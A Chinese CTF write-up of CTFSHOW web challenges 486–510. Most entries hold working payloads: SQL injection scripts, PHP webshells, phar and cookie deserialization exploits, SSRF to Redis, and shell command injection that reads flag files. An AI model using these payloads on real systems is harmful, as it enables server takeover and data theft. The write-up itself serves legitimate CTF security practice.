当前位置: 首页 > news >正文

【Web】CTFSHOW 中期测评刷题记录(1)

目录

web486

web487

web488 

web489 

web490 

web491

web492

web493 

web494 

web495 

web496

web497

web498

web499 

web500 

web501

web502

web503 

web505

web506 

web507 

web508 

web509

web510 


web486

扫目录

初始界面尝试文件包含index.php,从报错知道其可以目录穿越读文件

 login.php是在./templates下的,而./flag.php与./templates均为web目录

payload:

?action=../flag

右键查看源码拿到flag 

web487

?action=../index

 存在sql注入

 没有waf,直接sqlmap跑出来

sqlmap -u "https://648b315b-136d-427f-b332-417f4865f221.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -T ctf -C ctf --dumps

web488 

?action=../index

关注点在templateUtil的静态方法上,从index.php一开始include的文件入手

?action=../render/render_class

?action=../render/cache_class

整体利用链很清晰

templateUtil::render($action) -> templateUtil::shade($templateContent,$arg)-> cache::create_cache($template,$cache) -> fileUtil::write('cache/'.md5($template).".php",$content)

注意到用./template/error.php中存在{{username}},可以用其cache来写马

重开个靶机再打入 

index.php?action=check&username=<?php eval($_POST[1]);?>&password=12345

注意到{{username}}已经成功被替换为php代码 

 <?php
echo md5("error");
//cb5e100e5a9a3e7f6d1fd97512215282

再访问./cache/cb5e100e5a9a3e7f6d1fd97512215282.php

命令执行拿flag

web489 

和上题一样,在render处打入模板覆盖,用cache写马,但这次只能利用index

配合变量覆盖,让if永真,并让username为一句话木马

/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select%201;

 访问./cache/6a992d5529f459a44fee58c733255e86.php,命令执行拿flag

<?php
echo md5("index");
//6a992d5529f459a44fee58c733255e86

 

web490 

还是模板注入./templates/index

/index.php?action=check&username=' union select '<?php eval($_POST[1]);?>' --+&password=1

 直接去打会报语法错误

这时候重开下靶机再去读./templates/index.php,发现是给了提示的

我们模板注入的内容是被<?=?>所包裹,因此要改下payload

/index.php?action=check&username=0' union select "`cat /f*`"--+

 再访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web491

 

这下不能打模板注入了,但可以时间盲注 

import requestsstring = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-"
url = "http://bbfa1c77-aef0-4827-bd1f-6eafb26e85d0.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"def exp():ret = ""for x in range(1, 50):for y in string:payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(x, y)try:req = requests.get(url + payload + end, timeout=2)except:ret += yprint(ret)if __name__ == '__main__':exp()

 

web492

关于select_one_array

  • 执行一个 SQL 查询。
  • 返回查询结果的第一条记录。
  • 将这条记录作为数组返回,其中每个数组元素代表一个数据库字段。

模板有一个自动参数绑定,传进去一个$user,获取$user[username]来替换

直接走变量覆盖,绕过查库过程

payload:

?action=check&username[]=1&password=1&user[username]=<?php eval($_POST[1]);?>

 访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web493 

 可以在$_COOKIE处打反序列化

?action=../render/db_class

读到可以利用的恶意类

  

 exp:

<?php
class dbLog{public $sql;public $content='<?php eval($_POST[1]);?>';public $log='yjh.php';
}
$a=new dbLog();
echo serialize($a);

在Cookie处打入user参数,成功反序列化 

访问./yjh.php,命令执行拿flag

web494 

不是很理解这段正则的意义何在(

和上题一样打

 flag在数据库里,连蚁剑

 拿到flag 

web495 

和上题一样

 拿到flag

web496

过滤了or

用变形的万能密码登录

' || 1=1#

?action=../api/admin_edit 

 存在查库的操作就会存在布尔盲注的空间

import requests
import string
url="http://f7a0f625-bcc6-43e5-b84d-ea086553a12b.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"'||1#","password":1})
flag=""
for i in range(9,70):print(i)for j in s:data={'nickname':str(i*2)+str(j), #不让nickname重复就行#'user[username]':"'||if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)#'user[username]':"'||if(substr((select  group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)'user[username]':"'||if(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)}r=sess.post(url+"/api/admin_edit.php",data=data)if("u529f" in r.text):flag+=jprint(flag)break

 

web497

和上题一样用万能密码登录

点击修改图像,尝试读靶机文件

 

 

 base64解码得flag

 

web498

万能密码登录

修改头像不能直接读/flag

尝试用gopher探测内网组件,结果靶机直接崩了😡,换dict测出来6379

dict://127.0.0.1:6379

 

gopherus生成payload,打入

 

 

访问./shell.php,命令执行拿flag

 

web499 

SSRF打不通了

与上一题相比多了一个系统配置的功能

 

?action=../api/admin_settings

读源码看到写文件操作 

直接在提交页面写马

 

访问./config/settings.php,命令执行拿到flag 

 

web500 

新功能

 

?action=../api/admin_db_backup 

shell_exec可以进行一个命令拼接,无回显RCE考虑写文件

 ;cat /f*>/var/www/html/flag.txt

 

web501

?action=../api/admin_db_backup

多了一段正则 

  • '^zip' 表示匹配以 "zip" 开头的字符串。
  • 'tar' 在任何位置匹配 "tar"。
  • 'sql$' 表示匹配以 "sql" 结尾的字符串。

 直接访问./api/admin_db_backup.php

payload:

db_format=;cat /f*>/var/www/html/tar.txt

 访问./tar.txt拿到flag

 

web502

这段正则检查字符串 db_format 是否严格等于 "zip"、"tar" 或 "sql",db_format是没戏唱了

但可以用$pre来拼接

payload:

db_format=zip&pre=1.txt;cat /f*>/var/www/html/tar.txt;

访问./tar.txt拿到flag

 

web503 

可以看到shell_exec因为md5的限制,所以不再能利用

多出了file_exists的利用点,可以用上面提到的恶意类打phar反序列化 

此外多了一个上传logo的功能,稳了

生成恶意phar包,后缀改png,直接上传

<?php
class dbLog{public $sql;public $content="<?php eval(\$_POST[1]);?>";public $log="yjh.php";
}$c=new dbLog();$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();?>

 

拿到文件上传路径 

 

访问./api/admin_db_backup.php

payload:

pre=phar:///var/www/html/img/3318913d41c2966fc209201c9132b81b&db_format=.png

访问./yjh.php,命令执行拿flag

web505

多了一个文件查看功能

 

 

 

读api/admin_file_view.php的源码

直接data伪协议来包含

payload:

debug=1&f=data://text/plain,user<?php system('tac /f*');?>

web506 

和上题一样

web507 

一样

web508 

把伪协议给waf掉了

找文件上传点写恶意文件

上传网站logo就可以

文件内容是user拼接命令执行

拿到文件上传路径

 

payload:

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web509

在logo上传处对文件内容有过滤

直接上最短一句话

user<?=`$_GET[1]`;

 

 拿到文件上传路径

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web510 

对上传文件内容更为严格,并且因为md5的原因,也不能走配置文件base64解密包含的奇技淫巧

于是走session文件包含,其开头还正好是user,完美利用

修改用户信息,写一句话 

 成功修改

 最终payload:

debug=1&f=/tmp/sess_92ke6l244el6unol1mei073gj2

相关文章:

【Web】CTFSHOW 中期测评刷题记录(1)

目录 web486 web487 web488 web489 web490 web491 web492 web493 web494 web495 web496 web497 web498 web499 web500 web501 web502 web503 web505 web506 web507 web508 web509 web510 web486 扫目录 初始界面尝试文件包含index.php&am…...

vs配置cplex12.10

1.创建c空项目 2.修改运行环境 为release以及x64 3.创建cpp文件 4.鼠标右键点击项目中的属性 5.点击c/c&#xff0c;点击第一项常规&#xff0c;配置附加库目录 5.添加文件索引&#xff0c;主要用于把路径导进来 6.这一步要添加的目录与你安装的cplex的目录有关系 F:\program…...

Kubernetes 弃用Docker后 Kubelet切换到Containerd

containerd 是一个高级容器运行时&#xff0c;又名 容器管理器。简单来说&#xff0c;它是一个守护进程&#xff0c;在单个主机上管理完整的容器生命周期&#xff1a;创建、启动、停止容器、拉取和存储镜像、配置挂载、网络等。 containerd 旨在轻松嵌入到更大的系统中。Docke…...

函数模板含有多个模板参数

如果一个模板接受多个参数&#xff0c;用逗号分隔参数。 使用时必要情况下需要主动传入模板参数。 #include <iostream> #include <vector>/* Compute the greatest common divisor of two integers, using Euclids algorithm. */ template<class T, class U&g…...

Sprd Android 13 增加系统属性判断当前有无 OTG U盘插入,App 读取系统属性

添加系统属性,通过监听插拔广播判断当前有无OTG U盘插入 --- a/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java +++ b/frameworks/base/services/core/java/com/android/server/policy/PhoneWindowManager.java @@ -246,6 +246,7 @@ …...

第11章 数据库技术(第一部分)

一、数据库技术术语 &#xff08;一&#xff09;术语 1、数据 数据描述事物的符号描述一个对象所用的标识&#xff0c;可以文字、图形、图像、语言等等 2、信息 现实世界对事物状态变化的反馈。可感知、可存储、可加工、可再生。数据是信息的表现形式和载体&#xff0c;信…...

数据结构––队列

1.队列的定义 2.队列的分类 2.1循环队 2.2链式队 3.队列的实现 3.1循环队 3.1.1声明 typedef int QDataType; #define MAXSIZE 50 //定义元素的最大个数 /*循环队列的顺序存储结构*/ typedef struct {QDataType *data;int front; //头指针int rear; //尾指针 }Queue;…...

010_redhat安装zookeeper

目录 1.环境准备2.下载上传zookeeper安装包1)[官网下载zookeeper-3.6.4安装包](https://archive.apache.org/dist/zookeeper/zookeeper-3.6.4/apache-zookeeper-3.6.4-bin.tar.gz)2)创建soft文件夹 3.解压4.配置启动1、配置zoo.cfg2、启动zookeeper 小结 1.环境准备 准备一台l…...

【网络】gateway 可以提供的一些功能之一 “ 提供web静态资源服务 ”

gateway 可以提供的一些功能之一 “ 提供web静态资源服务 ” 一、提供web静态资源服务1.1、web静态资源服务是什么1.2、web静态资源服务有什么作用1.3、web静态资源服务怎么实现 二、提供Restful服务器路由转发三、支持Eureka服务发现四、服务检查五、灰度发布 一、提供web静态…...

MySQL第一次作业

解压完安装包 以管理员进入命令行 初始化并记住初始随机密码 创建服务名称 启动mysql 使用随机密码登录 修改密码 退出并重登服务器 MySQL创建数据库和表 创建数据库 创建表 1.进入数据库 创建表 向表中插入数据...

详解LLMOps,将DevOps用于大语言模型开发

大家好&#xff0c;在机器学习领域&#xff0c;随着技术的不断发展&#xff0c;将大型语言模型&#xff08;LLMs&#xff09;集成到商业产品中已成为一种趋势&#xff0c;同时也带来了许多挑战。为了有效应对这些挑战&#xff0c;数据科学家们转向了一种新型的DevOps实践LLM-OP…...

牛客NC275 和为S的两个数字【简单 map C++/Java/Go/PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/390da4f7a00f44bea7c2f3d19491311b 思路 map参考答案C #include <vector> class Solution {public:vector<int> FindNumbersWithSum(vector<int> array, int sum) {vector<int> ans;m…...

ax200/ax201/ax210/ax211/ax411等intel网卡无法开启5G热点问题解决方案汇总

目录 故障原因解决方案windowslinuxkernel < 5.5kernel > 5.5方案1 修改linux内核模块代码&#xff08;iwlwifi内核模块&#xff09;&#xff0c;重新编译内核模块并重新导入方案2 修改hostapd代码 最后更新于2024.04.28 故障原因 根本原因是因为英特尔在内核中开启了LA…...

JVM的垃圾回收机制(GC机制)

在Java代码运行的过程中&#xff0c;JVM发现 某些资源不需要再使用的时候&#xff0c;就会自动把资源所占的内存给回收掉&#xff0c;就不需要程序员自行操作了。“自动回收资源”就是JVM的“垃圾回收机制”&#xff0c;“垃圾回收机制”也称"GC机制"。 对于Java代码…...

分布式光伏管理系统和一般的光伏管理系统相比有什么区别?

随着全球对可再生能源的关注度日益提高&#xff0c;光伏技术作为其中的佼佼者&#xff0c;已经得到了广泛的应用。在光伏技术中&#xff0c;管理系统扮演着至关重要的角色&#xff0c;它关乎着光伏电站的运行效率、能源产出以及运维成本等多个方面。其中&#xff0c;分布式光伏…...

Linux migrate_type进一步探索

文章接着上回Linux migrate_type初步探索 1、物理页面添加到buddy系统 我们都知道物理内存一开始是由memblock进行分配管理&#xff0c;后面会切换到buddy系统管理。那么接下来我们看一下&#xff0c;memblock管理的物理页面是怎么添加到buddy系统中的。 start_kernel() -&g…...

强化学习:时序差分法【Temporal Difference Methods】

强化学习笔记 主要基于b站西湖大学赵世钰老师的【强化学习的数学原理】课程&#xff0c;个人觉得赵老师的课件深入浅出&#xff0c;很适合入门. 第一章 强化学习基本概念 第二章 贝尔曼方程 第三章 贝尔曼最优方程 第四章 值迭代和策略迭代 第五章 强化学习实例分析:GridWorld…...

数据结构-二叉树-二叉搜索树

一、概念 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者具有以下性质的二叉树&#xff1a; 若它的左子树不为空&#xff0c;则左树上所有节点的值都小于根节点的值。 若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于根节点的值。 它…...

Linux 磁盘管理命令df du dd

文章目录 3.Linux 磁盘管理命令3.1 df&#xff1a;显示报告文件系统磁盘使用信息案例练习 3.2 du&#xff1a;显示目录或者文件所占的磁盘空间案例练习 3.3 dd&#xff1a;磁盘操作案例练习 3.Linux 磁盘管理命令 3.1 df&#xff1a;显示报告文件系统磁盘使用信息 作用&#x…...

Leetcode 3138. Minimum Length of Anagram Concatenation

Leetcode 3138. Minimum Length of Anagram Concatenation 1. 解题思路2. 代码实现 题目链接&#xff1a;3138. Minimum Length of Anagram Concatenation 1. 解题思路 这一题的话我们首先统计出来所有的字母出现的频率。 然后&#xff0c;我们只需要从头开始重新计数一下&…...

IT廉连看——UniApp——样式绑定

IT廉连看——UniApp——样式绑定 一、样式绑定 两种添加样式的方法&#xff1a; 1、第一种写法 写一个class属性&#xff0c;然后将css样式写在style中。 2、第二种写法 直接把style写在class后面 添加一些效果&#xff1a;字体大小 查看效果 证明这样添加样式是没有问题的…...

垃圾的flinkcdc

在 MySQL 中&#xff0c;创建表时使用反引号 将表名或字段名括起来的作用是&#xff1a; 保留字和关键字: 使用反引号可以避免使用MySQL的保留字和关键字作为表名或字段名时产生的冲突。比如&#xff0c;你可以创建一个名为 select 或 order 的表&#xff1a; sqlCopy Code C…...

关于视频号小店,常见问题解答,开店做店各方面详解

大家好&#xff0c;我是电商笨笨熊 视频号小店作为今年风口&#xff0c;一个新推出的项目&#xff0c;凭借着自身流量加用户群体的优势吸引了不少的电商玩家。 但对于很多玩家来说&#xff0c;视频号小店完全是一个新的项目、新的领域&#xff0c;因此也会存在很多的疑问&…...

Debian mariadb 10.11设定表名 大小写不敏感方法

目录 问题表现&#xff1a;应用中查询 表提示 表不存在 处理步骤&#xff1a; 1、查询表名大小写敏感情况&#xff1a; show global variables like %case%; 2、修改mariadb 配置设置大小写 不敏感 mysql 配置大小写不敏感 mariadb 10.11设置表名大小写不敏感 /etc/mysq…...

常用六大加密软件排行榜|好用加密文件软件分享

为了保障数据安全&#xff0c;越来越多的企业开始使用文件加密软件。哪款加密软件适合企业哪些办公场景呢&#xff1f; 今天就给大家推荐一下文件加密软件排行榜的前六名&#xff1a; 1.域智盾 这款软件专为企业和政府机构设计&#xff0c;提供全面的文件保护解决方案。 点…...

百川2模型解读

简介 Baichuan 2是多语言大模型&#xff0c;目前开源了70亿和130亿参数规模的模型。在公开基准如MMLU、CMMLU、GSM8K和HumanEval上的评测&#xff0c;Baichuan 2达到或超过了其他同类开源模型&#xff0c;并在医学和法律等垂直领域表现优异。此外&#xff0c;官方还发布所有预…...

云原生专栏丨基于K8s集群网络策略的应用访问控制技术

在当今云计算时代&#xff0c;Kubernetes已经成为容器编排的事实标准&#xff0c;它为容器化应用提供了强大的自动化部署、扩展和管理能力。在Kubernetes集群中&#xff0c;网络策略(Network Policy)作为对Pod间通信进行控制的关键功能&#xff0c;对保障应用安全和隔离性起到了…...

MySQL 优化 - index_merge 导致查询偶发变慢

文章目录 前言问题描述原因分析总结 前言 今天遇到了一个有意思的问题&#xff0c;线上数据库 CPU 出现了偶发的抖动。定位到原因是一条查询语句偶发变慢造成的&#xff0c;随后通过调整表中的索引解决。 问题描述 下方是脱敏后的 SQL 语句&#xff1a; select oss_path f…...

SpringBoot自动连接数据库的解决方案

在一次学习设计模式的时候&#xff0c;沿用一个旧的boot项目&#xff0c;想着简单&#xff0c;就把数据库给关掉了&#xff0c;结果报错 Consider the following: If you want an embedded database (H2, HSQL or Derby), please put it on the classpath. 没有数据库的需…...

Docker-10 Docker Compose

一、前言 通过前面几篇文章的学习,我们可以通过Dockerfile文件让用户很方便的定义一个单独的应用容器。然而,在日常工作中,经常会碰到需要多个容器相互配合来完成某项任务的情况,或者开发一个Web应用,除了Web服务容器本身,还需要数据库服务容器、缓存容器,甚至还包括负…...

一篇关于大学网站建设与管理的论文/网络营销的实现方式包括

升级Linux内核导致vmware无法使用&#xff08;vmnet模块无法编译&#xff09;解决方案 时间:2014-05-15 20:29来源:未知作者:电脑技术吧 整理&#xff1a;www.dnjsb.com 点击&#xff1a;202次论坛 最近将ubuntu升级到了14.04,出现了vmware无法启动的情况。具体表现为&#xf…...

wordpress被恶意破解怎么办/移动端关键词排名优化

导语&#xff1a; 本文主要讲述如何将客户端提供的IPv6数据聚合&#xff0c;从而应用于有IPv6查询需求的业务。数据来源本文计算所用的数据来自于客户端提供的IPv6-IPv4的双栈数据源&#xff0c;上报的一条日志记录包括一个IPv6和IPv4地址&#xff0c;根据IPv4地址进行查询&…...

建设网站证书查询/seo关键词优化指南

Vue2脚手架配置代理&#xff1a; &#x1f517;链接&#xff1a;https://cli.vuejs.org/zh/config/#devserver-proxy 方法一 在vue.config.js中添加以下配置&#xff1a; module.exports {devServer: {proxy: http://localhost:4000} }说明&#xff1a; ✅ 优点&#xff1…...

wordpress增加文章类型/关键词推广seo

抗干扰即要提高系统的可靠性&#xff0c;基本的出发点&#xff1a; 1.隔离外部的干扰信号&#xff0c;比如用屏蔽罩将系统局限于一个封闭空间内&#xff1b; 2.优化系统设计&#xff0c;减小本身干扰&#xff0c;并提高系统的抗干扰能力&#xff1b; 3.提高系统的自救能力。 从…...

从零学php网站开发/优化关键词的正确方法

index.htm对应的是主页 list_article.htm对应的是栏目页 article_article.htm对应的是文章内容页转载于:https://www.cnblogs.com/tengzhouboy/archive/2013/03/14/2959525.html...

网站开发 外包/代做百度收录排名

1、硬件方面 目前使用服务器的站长和企业也比较多&#xff0c;也许有人会觉得二者差不多。从表面上看&#xff0c;服务器和我们日常用的PC电脑都是由CPU、内存、硬盘等部分组成&#xff0c;那么&#xff0c;服务器与普通电脑有什么区别呢&#xff1f; 1、服务器CPU设计的可连续…...